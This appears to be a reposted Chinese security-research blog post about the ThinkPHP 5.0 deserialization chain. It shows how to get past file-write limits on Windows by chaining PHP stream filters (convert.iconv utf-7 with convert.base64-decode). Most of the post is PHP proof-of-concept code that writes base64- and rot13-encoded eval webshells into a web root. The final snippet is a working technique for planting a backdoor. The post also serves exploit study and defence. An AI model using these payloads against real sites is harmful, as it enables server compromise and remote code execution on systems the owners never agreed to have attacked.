Thinkphp5.0反序列化链在Windows下写文件的方法
2020-03-31 11:01:44 Author: xz.aliyun.com(查看原文) 阅读量:295 收藏

关于 Thinkphp5.0 的反序列化,自己从去年下半年就开始跟进了,但是由于 5.0 版本中 Request 类的 __call方法中 hook 是静态变量,导致 5.1、5.2 的反序列化链在 5.0 并不可用;之后,我稍微跟了下有没有其他路径,觉得没有,也就不了了之了。

这次有人挖掘出了 5.0 版本的漏洞,让我兴奋了好久,但是一番测试之后,我和大家一样也发现了明显的缺陷:

  1. 无法在windows下写文件
  2. 假如成功在Linux的网站写入文件<?cuc @riny($_TRG[_]);?>xxxxxxxxxxxxxxx.php,可以访问但是无法执行代码。

以下我将会对造成这两点的原因进行分析,并提出解决方法;但是不会跟进分析Thinkphp5.0反序列化链,只会提供一些demo。

以下分析windows下不可写的原因以及一些不可用但值得学习的方法
无法在windows下写文件的原因是文件名中含有?<等字符。如下:

<?php
file_put_contents('php://filter/write=string.rot13/resource=./<?cuc @riny($_TRG[_]);?>', 'ccc');#报错
file_put_contents('php://filter/write=string.rot13/resource=./cuc @riny($_TRG[_]);', 'ccc'); #生成 cuc @riny($_TRG[_]); 文件

而分析过thinkphp5.0反序列化链可知,file_get_contents 写文件的方式一般如下:

<?php
$payload='php://filter/write=string.rot13/resource=<?cuc @riny($_TRG[_]);?>';
$filename=$payload.'468bc8d30505000a2d7d24702b2cda94.php';
$data="<?php\n//000000000000\n exit();?>\n".serialize($payload.'647c4f96a28a577173d6e398eefcc3fe.php');
file_put_contents($filename, $data); //此代码可以在Linux下生成文件,但是windows下无法生成。

所以有什么办法可以去除<?等字符呢?

php提供了string.strip_tagsconvert.base64-decode过滤器

  • strip_tags 可以用来删除字符串中的 HTML代码 和 PHP代码 ;
  • base64-decode 可以用来解码 base64字符串

可以用 strip_tags 来去除<?...exit()代码片段,使用 base64 编码<?php...eval($...?>防止被 strip_tags 删除。如下:

<?php 
$filename_a= "php://filter/string.strip_tags|convert.base64-decode/resource=PD9waHAgZXZhbCgkX0dFVFtjY2NdKTsgPz4/../a.php";
$data_without = "<?php\n//000000000000\n exit();?>\nphp://filter/string.strip_tags|convert.base64-decode/resource=aPD9waHAgZXZhbCgkX0dFVFtjY2NdKTsgPz4/../a.php";
file_put_contents($filename_a, $data_without); #带有等号 会报错

$filename_b= "php://filter/string.strip_tags|convert.base64-decode/resource=PD9waHAgZXZhbCgkX0dFVFtjY2NdKTsgPz4/../b.php";
$data_with = "<?php\n//000000000000\n exit();?>\nphp://filter/string.strip_tags|convert.base64-decode/resourceaPD9waHAgZXZhbCgkX0dFVFtjY2NdKTsgPz4/../b.php";
file_put_contents($filename_b, $data_with) #不带有等号 成功写入

运行上述代码就可知,使用 strip_tags 和 base64 的方法一般情况下不可取,因为 resource 后面一定要有=在php中才是合法的语法规则。

以下分析Linux下成功写入文件但无法执行的原因
虚拟机搭建环境,执行exp,成功写入如下文件:

<?cuc
//000000000000
 rkvg();?>
f:101:"cuc://svygre/jevgr=fgevat.ebg13/erfbhepr=<?php @eval($_GET[_]);?>647p4s96n28n577173q6r398rrspp3sr.cuc

访问该文件,会报错 Parse error: syntax error, unexpected 'rkvg' (T_STRING) 导致后续代码无法执行。

这是因为 php 默认会开启short_open_tag手册),导致 php 把 <? ?>之间的内容识别为php代码,但是由于 <?cuc,也就是 <?后面出现了 cuc 字符串,使得代码语法不合格,php 报错退出执行。

综上分析,可以知道问题的难点主要在于

  1. 文件名中有 ?<等非法字符。
  2. 文件内容有<?cuc,使 php 识别为不符合语法规则的php代码,导致报错推出执行。
  3. 如果使用 convert.base64-decode 过滤器则会由于文件内容含有=导致失败。

仔细思考convert.base64-decode这个过滤器利用以往的 exp 进行反序列化过程中file_get_contents写文件时,其文件名和文件内容的生成规则:可以简化为下述代码,$payload是可控的。

<?php

$payload='php://filter/write=string.rot13/resource=<?cuc @riny($_TRG[_]);?>';
$filename=$payload.'468bc8d30505000a2d7d24702b2cda94.php';
$data="<?php\n//000000000000\n exit();?>\n".serialize($payload.'647c4f96a28a577173d6e398eefcc3fe.php');
echo $filename."\n\n";
echo $data."\n";
/**
php://filter/write=string.rot13/resource=<?cuc @riny($_TRG[_]);?>468bc8d30505000a2d7d24702b2cda94.php

<?php
//000000000000
 exit();?>
s:101:"php://filter/write=string.rot13/resource=<?cuc @riny($_TRG[_]);?>647c4f96a28a577173d6e398eefcc3fe.php";
**/

file_put_contents($filename, $data);

可以试着把上述代码的string.rot13该成convert.base64-decode, 并且base64编码恶意代码<?cuc @riny($_TRG[_]);?>,如下:

<?php

$payload='php://filter/write=convert.base64-decode/resource=PD9jdWMgQHJpbnkoJF9UUkdbX10pOyAgPz4';
$filename=$payload.'468bc8d30505000a2d7d24702b2cda94.php';
$data="<?php\n//000000000000\n exit();?>\n".serialize($payload.'647c4f96a28a577173d6e398eefcc3fe.php');


echo $filename."\n\n";
echo $data."\n";
/**
php://filter/write=convert.base64-decode/resource=PD9jdWMgQHJpbnkoJF9UUkdbX10pOyAgPz4468bc8d30505000a2d7d24702b2cda94.php

<?php
//000000000000
 exit();?>
s:121:"php://filter/write=convert.base64-decode/resource=PD9jdWMgQHJpbnkoJF9UUkdbX10pOyAgPz4647c4f96a28a577173d6e398eefcc3fe.php";
**/

#file_put_contents($filename, $data);

可以发现文件名变成了PD9jdWMgQHJpbnkoJF9UUkdbX10pOyAgPz4468bc8d30505000a2d7d24702b2cda94.php
文件内容为

<?php
//000000000000
 exit();?>
s:121:"php://filter/write=convert.base64-decode/resource=PD9jdWMgQHJpbnkoJF9UUkdbX10pOyAgPz4647c4f96a28a577173d6e398eefcc3fe.php";

且会被convert.base64-decode过滤器进行base64解码,但是由于有等号,写入文件肯定会报错。所以现在的问题就变成了,如何让文件名中不含有=

大家可以查看php手册英文版的这个页面,拉到最下面,会发现一个过滤器:convert.iconv.* ,这个过滤器需要 php 支持 iconv,而 iconv 是默认编译的。它的作用等价于函数 iconv()(这个过滤器在php的中文页面是没有描述的。

看以下demo:

<?php

$cc='php://filter/convert.iconv.utf-8.utf-7/resource=123.txt';
file_put_contents($cc,'=');

/**
123.txt 写入的内容为: +AD0-
**/

也就是,convert.iconv 这个过滤器把 = 转化成了 +AD0-,要知道 +AD0- 是可以被 convert.base64-decode过滤器解码的。

答案呼之欲出。使用 convert.iconv.* 配合 convert.base64-decode

<?php

$payload='php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php';
$filename=$payload.'468bc8d30505000a2d7d24702b2cda94.php';
$data="<?php\n//000000000000\n exit();?>\n".serialize($payload.'647c4f96a28a577173d6e398eefcc3fe.php');
// echo $filename."\n\n";
// echo $data."\n";
file_put_contents($filename, $data);

convert.iconv.* 这个过滤器支持的字符集可以在这里查看,以及Linux下iconv -l这个命令具体的利用思路就是上述最后一段代码。thinkphp5.0反序列化的exp还需师傅们自己调试了。

若有不足之处,还请多多包涵。


文章来源: http://xz.aliyun.com/t/7457
如有侵权请联系:admin#unsafe.sh